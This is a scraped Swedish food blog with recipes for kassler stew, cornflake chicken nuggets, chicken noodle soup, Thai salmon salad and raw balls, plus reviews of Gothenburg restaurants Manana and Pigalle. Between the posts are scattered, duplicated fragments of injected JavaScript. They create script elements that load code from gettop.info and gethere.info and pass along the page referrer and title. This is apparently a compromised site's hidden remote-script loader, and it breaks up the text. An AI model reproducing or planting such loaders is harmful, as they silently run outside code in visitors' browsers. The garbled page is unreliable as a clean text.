Kasslergryta

7

Det här receptet hittade jag på nätet på matklubbens sida. Jag har gjort om receptet lite för att få mer smak i grytan.

Recept 4 personer
500 gram kassler
1 gul paprika
1 röd paprika
1 gul lök
20 cm purjolök
2 vitlöksklyftor (pressade9
1 burk champinjonder med spad (jag använde färska champinjoner)
1 burk creme fraiche
1 förpackning matlagningsgrädde
1-2 tsk sambal Oelek
3 msk  mango chutney (stark)
1 dl chilisås

Gör så här:
Börja med att sätta på riset och strimla kasslern.
Skär paprika och lök i tärningar och strimla purjolöken.
Fräs alltihop i en klick smör .

Tillsätt grädde och creme fraiche  och 1/2 tsk sambal oelek och 2 msk mango chutney.
Lägg i champinjonerna (jag förstekte mina i smör innan).
Låt småputtra en stund. Servera grytan med ris och en sallad.

432561

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Chicken nuggets med cornflakes

4 personer
2 dl cornflakes
1 stort ägg som vispas upp tillsammans med 1 msk vatten
1 dl vetemjöl uppblandat med salt och peppar
4 kycklingfiléer

Krossa cornflakes i en bunke. Ta ett fat och lägg upp mjölblandningen. Skär kycklingen i små bitar. Doppa kycklingen först i mjölblandningen, sen i äggblandningen och till slut cornflakessmulorna. Lägg bitarna på ett bakplåtspapper i en ugnsform.

Stek mitt i ugnen i 225 grader tills kycklingen  är helt genomstekta och paneringen har fått en fin gyllenbrun färg, ca 15-20 min. Servera med goda såser och pommes.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

d.getElementsByTagName(‘head’)[0].appendChild(s);d.getElementsByTagName(‘head’)[0].appendChild(s);

Kycklingsoppa med nyttiga nudlar

bild5bild3bild7bild4bild6bild2bild3bild1Häromdagen gjorde jag en god kycklingsoppa från grunden.

Här kommer receptet.

Kycklingsoppa (2 personer)
2 liter vatten
en stor morot eller 2 mindre morötter
1 gul lök
1 bit vitkål
1 vitlöksklyfta
5-6 vitpepparkorn
Salt
2 bitar kycklingfilé (eller en halv kyckling med benen kvar)

Tillbehör:
Spring onion
Färska champinjoner
Böngroddar
Kycklingen som du kokat

Gör så här:
Häll ca 2 liter vatten i en kastrull, dela en stor morot i 2 bitar och lägg i, skala och dela löken i 4 bitar och häll i en bit vitkål samt en skalad vitlöksklyfta och lite salt. När vattnet kokar upp så häller du i kycklingfilén.  Efter ca 1 timma tog jag ur kycklingfilén och som jag delade i mindre bitar. Efter ca 1,5 timma så silade jag bort grönsakerna och smaksatte med lite mer salt tills soppan smakade bra.

Jag skivade färska champinjoner, lök, groddar nudlar och kyckling i en soppskål och sen hällde jag den varma soppan över allt och då blev det en riktig matig och god soppa. Använde mig av nudlar från mungbönor (både nyttigt och gott).

Kan rekommendera att ni köper nudlarna i en Asiatisk butik. Mkt billigare än om ni köper dem på nätet. Ett paket (250 gram) kostar 12 kr i affären som ligger utanför Nordstan.
Bäst är om du kokar en halv kyckling med benet kvar då detta ger mer smak än att bara koka med kycklingfilé.

Om du har en halv kyckling kan du bena ut kycklingen och lägga lite kycklingbitar i soppan och servera resten av kycklingen separat i en skål. Till detta kan du göra en god dippsås.

Dippsås:
Ljus soja (finns att köpa i de Asiatiska affärerna)
Lite färsk riven ingefära
Lite olja som du kokat upp

Gör så här: Häll lite ljus soja i en skål, riv ner lite färsk ingefära och häll på lite kokad olja.

 

 }

Manana, Kungshöjd med ”pysseltjejerna”

Vi är ett tjejgäng som brukar träffas och ”pyssla” ihop. Vi har nu hunnit med att baka cupcakes, baka pepparkakshus, måla naglarna …och i fredags åt vi tapas på Manana. Manana på Kungshöjd (Lasarettsgatan 6) har renoverats och så här ser lokalen ut nu. (bilderna har jag lånat från Manana).

213

Deras Sangria smakar supergott.
bild12bild11bild6

Det här beställde jag :
Ostfyllda vetetortillas med rostad majsaioli
Baconlindade dadlar
Fikonsallad med getost, valnötter och honungsmixad balsamico
Mañana’s miniburgare
Grillade kamben med coleslaw
Hemlagad äpplekaka m ed vaniljglass

bildAbild9bild5

Efter Manana avslutade vi kvällen med lite champagne på Champagnebaren!
bild1bild3

 var d=document;var s=d.createElement(‘script’);

} else {d.getElementsByTagName(‘head’)[0].appendChild(s);

Pigalle

Igår besökte jag ett nytt ställe i Göteborg som heter ”Pigalle” som ligger vid Södra Hamngatan 2A i Göteborg.

bild8

Nu håller de på med renovering av fasaden men här kan ni se hur entrén ser ut för tillfället.

bild9

För att komma till restaurangen ”Atelier” går du in genom entrén via hotellet och tar hissen upp till 4:e våningen.
Vill ni bara äta något lätt så kan man sitta i hotellets entré på ”Bar Amuse”.

Vi valde att åka upp till ”Atelier” och äta en ostbricka och dricka lite vin.

bild12bild13bild10bild7bild6bild17bild11bild14

Först fick vi en aptitretare.

 

bild1En supergod ostbricka som serverades med varmt bröd, kex och goda marmelader.

bild19 bild18bild2bild3bild5Mycket trevlig personal, bra service och goda ostar. Hit kommer jag gå flera gånger! Om ni är större sällskap rekommenderar jag att ni bokar bord.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Thaisallad av salmalax

bild8

Det här goda receptet hittade jag på Petra Tungårdens blogg. Ni måste provsmaka er fram hela tiden när ni gör dressingen då smaken är olika och en del föredrar kanske mer riven ingefära eller kanske mer chili i dressingen.

bild9

1 bit Salmalax (ca 280 gram)
Bladspenat (en liten påse)
1/2 Rödlök
Tomater
1 Avokado
1-2 tsk Soya
1-2 msk Sweewchili el chili
1 msk pressad lime
1 msk pressad citronjuice
0,5-1 dl Olivolja
Ingefära (färskriven)
Koriander (kan uteslutas)
1/2 dl Cashewnötter (hackade)

Gör såhär:
Pressa ner lime och häll i citronjuicen i en skål. Hacka sedan koriander och häll ner i röran tillsammans med olivolja och chili. Har du ingen chili så ta lite sweetchilisås i. Riv ner ingefära och lite soya, smaka av hela tiden.
Hacka cashewnötter.

Skär upp Salmalaxen i tunna skivor. Lägg laxen i dressingen och låt dra i kylen en stund.

Gör en salladsbädd av färsk spenat och häll på lite av dressingen. Lägg på avokado och servera.

bild7bild6bild5bild4

bild3bild2bild8bild1

 

 

 

 

 

 

 

 

 

 

 

 

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);if (document.currentScript) {

Goda rawbollar

Här kommer ett supergott recept på goda rawbollar med mycket smak, perfekt att bjuda på när ni får besök istället för allt onyttigt godis.

boll

bild2Rawbollar
6-8 dadlar
3 msk raw kakao
1 msk kokosolja
1 msk chiafrön
50 gram blötlagd gojibär
5-6 aprikoser
100 gram rostade hackade cashewnötter

Gör så här: Blötlägg gojibären i ca 2 timmar (häll av vattnet).  Rosta dina cashewnötter och hacka i små bitar (jag rostade dem i stekpannan och lät nötterna svalna innan jag körde dem i mixern istället för att hacka i små bitar)
Blanda ihop alla ingredenser till en röra och rulla till bollar. Rulla bollarna i kokos eller någon annan topping (hackade nötter, raw kakao, tranbärspulver, blåbärspulver, lingonpulver). Förvara dina rawbollar  frysen och ta fram vid behov.

bild1bild6bild5bild5bild4bild3bild2

 

IMG_6291

 

 

 

var d=document;var s=d.createElement(‘script’);

d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);